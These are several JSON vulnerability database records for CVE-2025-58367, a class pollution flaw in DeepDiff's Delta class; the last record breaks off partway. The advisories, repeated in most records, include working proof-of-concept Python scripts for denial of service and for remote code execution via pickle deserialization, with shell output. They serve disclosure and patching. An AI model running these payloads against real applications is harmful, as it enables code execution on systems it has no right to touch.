{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "deepdiff",
        "resource_purl": "pkg:pypi/deepdiff@9.1.0",
        "upstream_fixed_in": "8.6.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "bbot",
        "purl": "pkg:brew/bbot"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.5.1665"
            },
            {
              "fixed": "2.6.1_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/deepdiff@9.1.0",
        "name": "deepdiff",
        "resource": "deepdiff",
        "strategy": "registry",
        "subject_version": "9.1.0"
      }
    ]
  },
  "details": "### Summary\n[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).\n\nThe gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.\n\nDepending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.\n\n### Details\n\nThe `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).\n\nWhen it takes a dictionary, it is usually in the following format:\n```py\nDelta({\"dictionary_item_added\": {\"root.myattr[\u0027foo\u0027]\": \"bar\"}})\n```\n\nTrying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23\n\nHowever, this code only runs when parsing the path from a string.\nThe `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53\n\nThis means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:\n\n```py\nDelta(\n    {\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"__init__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"PWNED\", \"GET\"),\n            ): 1337\n        }\n    },\n)\n```\n\nGoing back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.\nCare was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98\nHowever, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.\n\nThis then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.\n\n#### Using dict\n\nUsually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.\nHowever, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.\nPassing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.\n\n### Proof of Concept\n\nWith deepdiff 8.6.0 installed, run the following scripts for each proof of concept.\nAll input to `Delta` is assumed to be user-controlled.\n\n#### Denial of Service\n\nThis script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.\n\n```py\n# ------------[ Setup ]------------\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_int = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"__builtins__\", \"GET\"),\n                (\"int\", \"GET\"),\n            ): \"no longer a class\"\n        },\n    }\n)\n\n\nassert isinstance(pollute_int, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Before pollution\nprint(int(\"41\") + 1)\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_int)\n\nprint(int(\"1337\"))\n```\n\n```shell\n$ python poc_dos.py\n42\nTraceback (most recent call last):\n  File \"/tmp/poc_dos.py\", line 43, in \u003cmodule\u003e\n    print(int(\"1337\"))\nTypeError: \u0027str\u0027 object is not callable\n```\n\n#### Remote Code Execution\n\nThis script will create a file at `/tmp/pwned` with the output of `id`.\n\n```py\n# ------------[ Setup ]------------\nimport os\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_safe_to_import = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"set_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"sys\", \"GET\"),\n                (\"modules\", \"GETATTR\"),\n                (\"deepdiff.serialization\", \"GET\"),\n                (\"SAFE_TO_IMPORT\", \"GETATTR\"),\n            ): set([\"posix.system\"])\n        },\n    }\n)\n\n\n# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/\nclass RCE:\n    def __reduce__(self):\n        cmd = \"id \u003e /tmp/pwned\"\n        return os.system, (cmd,)\n\n\n# Wrap object with dictionary so that Delta does not crash\nrce_pickle = pickle.dumps({\"_\": RCE()})\n\nassert isinstance(pollute_safe_to_import, bytes)\nassert isinstance(rce_pickle, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_safe_to_import)\n\nDelta(rce_pickle)  # no need to apply this Delta\n```\n\n```shell\n$ python poc_rce.py\n$ cat /tmp/pwned\nuid=1000(dtc) gid=100(users) groups=100(users),1(wheel)\n```\n\n### Who is affected?\n\nOnly applications that pass (untrusted) user input directly into `Delta` are affected.\n\nWhile input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.\n\n### Mitigations\n\nA straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.\nThis would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,\nand possibly in `deepdiff.delta.Delta._get_elements_and_details`.\nExample code that raises an error when traversing these properties:\n```py\nif elem.startswith(\"__\") and elem.endswith(\"__\"):\n  raise ValueError(\"traversing dunder attributes is not allowed\")\n```\n\nHowever, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).\nThis was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180",
  "id": "BREW-bbot-CVE-2025-58367",
  "modified": "2026-10-29T22:00:18Z",
  "published": "2026-08-13T16:37:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/issues/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/commit/2015f0a4bcdbc3a5b27652e38fe97b3ee13ac15f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/commit/c69c06c13f75e849c770ade3f556cd16209fd183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/deepdiff/PYSEC-2026-327.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/seperman/deepdiff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/releases/tag/8.6.1"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/deepdiff"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more",
  "upstream": [
    "GHSA-mw26-5g2v-hqw3",
    "CVE-2025-58367",
    "PYSEC-2026-327"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "deepdiff",
        "resource_purl": "pkg:pypi/deepdiff@8.6.2",
        "upstream_fixed_in": "8.6.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "sceptre",
        "purl": "pkg:brew/sceptre"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "4.5.3_4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/deepdiff@8.6.2",
        "name": "deepdiff",
        "resource": "deepdiff",
        "strategy": "registry",
        "subject_version": "8.6.2"
      }
    ]
  },
  "details": "### Summary\n[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).\n\nThe gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.\n\nDepending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.\n\n### Details\n\nThe `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).\n\nWhen it takes a dictionary, it is usually in the following format:\n```py\nDelta({\"dictionary_item_added\": {\"root.myattr[\u0027foo\u0027]\": \"bar\"}})\n```\n\nTrying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23\n\nHowever, this code only runs when parsing the path from a string.\nThe `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53\n\nThis means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:\n\n```py\nDelta(\n    {\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"__init__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"PWNED\", \"GET\"),\n            ): 1337\n        }\n    },\n)\n```\n\nGoing back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.\nCare was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98\nHowever, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.\n\nThis then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.\n\n#### Using dict\n\nUsually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.\nHowever, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.\nPassing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.\n\n### Proof of Concept\n\nWith deepdiff 8.6.0 installed, run the following scripts for each proof of concept.\nAll input to `Delta` is assumed to be user-controlled.\n\n#### Denial of Service\n\nThis script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.\n\n```py\n# ------------[ Setup ]------------\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_int = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"__builtins__\", \"GET\"),\n                (\"int\", \"GET\"),\n            ): \"no longer a class\"\n        },\n    }\n)\n\n\nassert isinstance(pollute_int, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Before pollution\nprint(int(\"41\") + 1)\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_int)\n\nprint(int(\"1337\"))\n```\n\n```shell\n$ python poc_dos.py\n42\nTraceback (most recent call last):\n  File \"/tmp/poc_dos.py\", line 43, in \u003cmodule\u003e\n    print(int(\"1337\"))\nTypeError: \u0027str\u0027 object is not callable\n```\n\n#### Remote Code Execution\n\nThis script will create a file at `/tmp/pwned` with the output of `id`.\n\n```py\n# ------------[ Setup ]------------\nimport os\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_safe_to_import = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"set_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"sys\", \"GET\"),\n                (\"modules\", \"GETATTR\"),\n                (\"deepdiff.serialization\", \"GET\"),\n                (\"SAFE_TO_IMPORT\", \"GETATTR\"),\n            ): set([\"posix.system\"])\n        },\n    }\n)\n\n\n# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/\nclass RCE:\n    def __reduce__(self):\n        cmd = \"id \u003e /tmp/pwned\"\n        return os.system, (cmd,)\n\n\n# Wrap object with dictionary so that Delta does not crash\nrce_pickle = pickle.dumps({\"_\": RCE()})\n\nassert isinstance(pollute_safe_to_import, bytes)\nassert isinstance(rce_pickle, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_safe_to_import)\n\nDelta(rce_pickle)  # no need to apply this Delta\n```\n\n```shell\n$ python poc_rce.py\n$ cat /tmp/pwned\nuid=1000(dtc) gid=100(users) groups=100(users),1(wheel)\n```\n\n### Who is affected?\n\nOnly applications that pass (untrusted) user input directly into `Delta` are affected.\n\nWhile input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.\n\n### Mitigations\n\nA straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.\nThis would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,\nand possibly in `deepdiff.delta.Delta._get_elements_and_details`.\nExample code that raises an error when traversing these properties:\n```py\nif elem.startswith(\"__\") and elem.endswith(\"__\"):\n  raise ValueError(\"traversing dunder attributes is not allowed\")\n```\n\nHowever, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).\nThis was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180",
  "id": "BREW-sceptre-CVE-2025-58367",
  "modified": "2026-10-27T20:14:32Z",
  "published": "2026-08-13T17:34:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/issues/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/commit/2015f0a4bcdbc3a5b27652e38fe97b3ee13ac15f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/commit/c69c06c13f75e849c770ade3f556cd16209fd183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/deepdiff/PYSEC-2026-327.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/seperman/deepdiff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/releases/tag/8.6.1"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/deepdiff"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more",
  "upstream": [
    "GHSA-mw26-5g2v-hqw3",
    "CVE-2025-58367",
    "PYSEC-2026-327"
  ]
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "deepdiff",
          "vendor": "seperman",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 5.0.0, \u003c 8.6.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "DeepDiff is a project focused on Deep Difference and search of any Python data. Versions 5.0.0 through 8.6.0 are vulnerable to class pollution via the Delta class constructor, and when combined with a gadget available in DeltaDiff, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization) exploitation. The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. This is fixed in version 8.6.1."
    },
    {
      "lang": "es",
      "value": "DeepDiff es un proyecto centrado en la diferencia profunda y la b\u00fasqueda de cualquier dato de Python. Las versiones 5.0.0 a 8.6.0 son vulnerables a la contaminaci\u00f3n de clases a trav\u00e9s del constructor de la clase Delta, y cuando se combina con un gadget disponible en DeltaDiff, puede conducir a la explotaci\u00f3n de denegaci\u00f3n de servicio y ejecuci\u00f3n remota de c\u00f3digo (a trav\u00e9s de la deserializaci\u00f3n insegura de Pickle). El gadget disponible en DeepDiff permite que \u0027deepdiff.serialization.SAFE_TO_IMPORT\u0027 sea modificado para permitir clases peligrosas como posix.system, y luego realizar la deserializaci\u00f3n insegura de Pickle a trav\u00e9s de la clase Delta. Esto permite potencialmente la ejecuci\u00f3n de cualquier c\u00f3digo Python, dado que la entrada a Delta es controlada por el usuario. Dependiendo de la aplicaci\u00f3n donde se utilice DeepDiff, esto tambi\u00e9n puede conducir a otras vulnerabilidades. Esto se corrige en la versi\u00f3n 8.6.1."
    }
  ],
  "id": "CVE-2025-58367",
  "lastModified": "2026-10-18T21:10:00.120",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-58367",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-09-08T20:08:27.158163Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-09-05T22:15:34.710",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/seperman/deepdiff/commit/c69c06c13f75e849c770ade3f556cd16209fd183"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/seperman/deepdiff/releases/tag/8.6.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/seperman/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-915"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "deepdiff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "8.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58367"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T22:25:09Z",
    "nvd_published_at": "2025-09-05T22:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).\n\nThe gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.\n\nDepending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.\n\n### Details\n\nThe `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).\n\nWhen it takes a dictionary, it is usually in the following format:\n```py\nDelta({\"dictionary_item_added\": {\"root.myattr[\u0027foo\u0027]\": \"bar\"}})\n```\n\nTrying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23\n\nHowever, this code only runs when parsing the path from a string.\nThe `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53\n\nThis means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:\n\n```py\nDelta(\n    {\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"__init__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"PWNED\", \"GET\"),\n            ): 1337\n        }\n    },\n)\n```\n\nGoing back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.\nCare was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98\nHowever, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.\n\nThis then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.\n\n#### Using dict\n\nUsually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.\nHowever, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.\nPassing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.\n\n### Proof of Concept\n\nWith deepdiff 8.6.0 installed, run the following scripts for each proof of concept.\nAll input to `Delta` is assumed to be user-controlled.\n\n#### Denial of Service\n\nThis script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.\n\n```py\n# ------------[ Setup ]------------\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_int = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"__builtins__\", \"GET\"),\n                (\"int\", \"GET\"),\n            ): \"no longer a class\"\n        },\n    }\n)\n\n\nassert isinstance(pollute_int, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Before pollution\nprint(int(\"41\") + 1)\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_int)\n\nprint(int(\"1337\"))\n```\n\n```shell\n$ python poc_dos.py\n42\nTraceback (most recent call last):\n  File \"/tmp/poc_dos.py\", line 43, in \u003cmodule\u003e\n    print(int(\"1337\"))\nTypeError: \u0027str\u0027 object is not callable\n```\n\n#### Remote Code Execution\n\nThis script will create a file at `/tmp/pwned` with the output of `id`.\n\n```py\n# ------------[ Setup ]------------\nimport os\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_safe_to_import = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"set_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", 